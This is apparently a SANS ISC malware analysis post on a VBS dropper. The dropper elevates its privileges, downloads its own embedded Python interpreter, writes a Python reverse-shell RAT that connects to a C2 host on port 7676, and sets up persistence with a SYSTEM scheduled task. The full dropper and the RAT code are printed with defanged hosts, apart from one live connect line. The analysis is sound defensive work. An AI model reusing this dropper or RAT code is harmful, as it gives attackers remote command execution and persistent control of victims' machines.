No Python Interpreter? This Simple RAT Installs Its Own Copy
For a while, I'm keeping an eye on malicious Python code targeting Windows environments[1][2]. If Python looks more and more popular, attackers are facing a major issue: Python is not installed by default on most Windows operating systems. Python is often available on developers, system/network administrators, or security teams. Like the proverb says: "You are never better served than by yourself", I found a simple Python backdoor that installs its own copy of the Python interpreter!
The backdoor is installed via a VBS script (SHA256:eda050c767cb65150b1f4c8a4307c15baf5aebf211367191aaf7ede3aee823d5) has a VT score of 11/58[3]. I don't know how it is delivered and executed on the target computer but, it is light and easy to read. Here is a full copy:
1 If Not WScript.Arguments.Named.Exists("elevate") Then
2 CreateObject("Shell.Application").ShellExecute WScript.FullName _
3 , """" & WScript.ScriptFullName & """ /elevate", "", "runas", 1
4 WScript.Quit
5 End If
6 Set objFSO=CreateObject("Scripting.FileSystemObject")
7 If objFSO.FileExists("C:\Program Files\Windows socket\socket.bat") then
8 WScript.Quit 1
9 End If
10 Set oShell = WScript.CreateObject ("WScript.Shell")
11 oShell.run "cmd /c mkdir C:\""Program Files""\python389", 0
12 oShell.run "cmd /c mkdir C:\""Program Files""\""Windows socket""", 0
13 WScript.Sleep 1200
14 oShell.run "powershell -c ""(New-Object System.NET.Webclient).DownloadFile('hxxp://friz[.]ga/payloads/python-3.8.9-embed-amd64.zip','C:\Program Files\python389\python-3.8.9-embed-amd64.zip');""", 0, 1
15 set objShell = CreateObject("Shell.Application")
16 set FilesInZip=objShell.NameSpace("C:\Program Files\python389\python-3.8.9-embed-amd64.zip").items
17 objShell.NameSpace("C:\Program Files\python389").CopyHere(FilesInZip)
18 Set objFSO=CreateObject("Scripting.FileSystemObject")
19 outBat="c:\Program Files\Windows socket\socket.bat"
20 Set objSocket = objFSO.CreateTextFile(outBat,True)
21 objSocket.WriteLine "C:\""Program Files""\python389\python.exe ""C:\Program Files\Windows socket\rat.py"""
22 outPython="c:\Program Files\Windows socket\rat.py"
23 Set objPython = objFSO.CreateTextFile(outPython,True)
24 objPython.WriteLine "import socket"
25 objPython.WriteLine "import os"
26 objPython.WriteLine "import subprocess"
27 objPython.WriteLine "sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)"
28 objPython.WriteLine "sock.connect(('friz.ga', 7676))"
29 objPython.WriteLine "sock.send(b'c\\r\\n')"
30 objPython.WriteLine ""
31 objPython.WriteLine "while 1:"
32 objPython.WriteLine " output = ''"
33 objPython.WriteLine " data = sock.recv(1024)"
34 objPython.WriteLine " msg = data.decode('UTF-8')"
35 objPython.WriteLine " print(msg)"
36 objPython.WriteLine " try:"
37 objPython.WriteLine " output = subprocess.check_output(['cmd.exe', f'/c {msg}']) "
38 objPython.WriteLine " print(output) "
39 objPython.WriteLine " except subprocess.CalledProcessError as err:"
40 objPython.WriteLine " print(err)"
41 objPython.WriteLine " #sock.send(bytes(output, 'utf-8'))"
42 objPython.WriteLine ""
43 objPython.WriteLine " try:"
44 objPython.WriteLine " sock.send(output)"
45 objPython.WriteLine " except:"
46 objPython.WriteLine " pass"
47 objPython.WriteLine " "
48 objPython.WriteLine ""
49 objPython.WriteLine " if not data:"
50 objPython.WriteLine " pass"
51 objPython.WriteLine " #sock.send(b'\n')"
52 objPython.WriteLine " "
53 objPython.WriteLine ""
54 objPython.WriteLine "conn.close"
55 oShell.run "schtasks /create /F /ru ""SYSTEM"" /sc onlogon /tn WinSocket /rl highest /tr ""\""C:\Program Files\Windows socket\socket.bat""\"" ", 0
56 oshell.run "schtasks /run /I /TN WinSocket", 0
First, the script tries to elevate its privileges (lines 1-5) with a common technique. Files will be dropped in two directories (lines 11-12). A Python environment is downloaded and extracted in C:\Program Files\python389 (lines 14-17). A batch file is created (lines 19-21) to execute the RAT ("C:\Program Files\python389\python.exe" "C:\Program Files\Windows socket\rat.py"). Finally, the RAT is created (lines 22-54). Here is a cleaner code:
import socket
import os
import subprocess
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('friz[.]ga', 7676))
sock.send(b'c\\r\\n')
while 1:
output = ''
data = sock.recv(1024)
msg = data.decode('UTF-8')
print(msg)
try:
output = subprocess.check_output(['cmd.exe', f'/c {msg}'])
print(output) "
except subprocess.CalledProcessError as err:
print(err)
#sock.send(bytes(output, 'utf-8'))
try:
sock.send(output)
except:
pass
if not data:
pass
#sock.send(b'\n')
conn.close
The script is easy to understand, it connects to the C2 (friz[.]ga:7676) and expects some commands. They are executed and the result is sent back.
Finally, persistence is achieved through the creation of a scheduled task (lines 55-56).
This technique may look pretty invasive because a Python environment requires the installation of many files but the archive dropped by this script is the "embeddable package"[4] that contains the minimum set of files (SHA256:6d9a18cee86819d86442fc67d4ffe9fd5819cbaedd350b4c92b84160bd1acd48):
remnux@remnux:/MalwareZoo/20210409$ unzip -t python-3.8.9-embed-amd64.zip
Archive: python-3.8.9-embed-amd64.zip
testing: python.exe OK
testing: pythonw.exe OK
testing: python38.dll OK
testing: python3.dll OK
testing: vcruntime140.dll OK
testing: vcruntime140_1.dll OK
testing: LICENSE.txt OK
testing: pyexpat.pyd OK
testing: select.pyd OK
testing: unicodedata.pyd OK
testing: winsound.pyd OK
testing: _asyncio.pyd OK
testing: _bz2.pyd OK
testing: _ctypes.pyd OK
testing: _decimal.pyd OK
testing: _elementtree.pyd OK
testing: _hashlib.pyd OK
testing: _lzma.pyd OK
testing: _msi.pyd OK
testing: _multiprocessing.pyd OK
testing: _overlapped.pyd OK
testing: _queue.pyd OK
testing: _socket.pyd OK
testing: _sqlite3.pyd OK
testing: _ssl.pyd OK
testing: libcrypto-1_1.dll OK
testing: libffi-7.dll OK
testing: libssl-1_1.dll OK
testing: sqlite3.dll OK
testing: python38.zip OK
testing: python38._pth OK
testing: python.cat OK
No errors detected in compressed data of python-3.8.9-embed-amd64.zip.
[1] https://isc.sans.edu/forums/diary/Python+and+Risky+Windows+API+Calls/26530
[2] https://isc.sans.edu/forums/diary/Simple+Python+Keylogger/27216
[3] https://www.virustotal.com/gui/file/eda050c767cb65150b1f4c8a4307c15baf5aebf211367191aaf7ede3aee823d5/detection
[4] https://www.python.org/downloads/windows/
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
| Reverse-Engineering Malware: Advanced Code Analysis | Online | Greenwich Mean Time | Oct 27th - Oct 31st 2025 |

Comments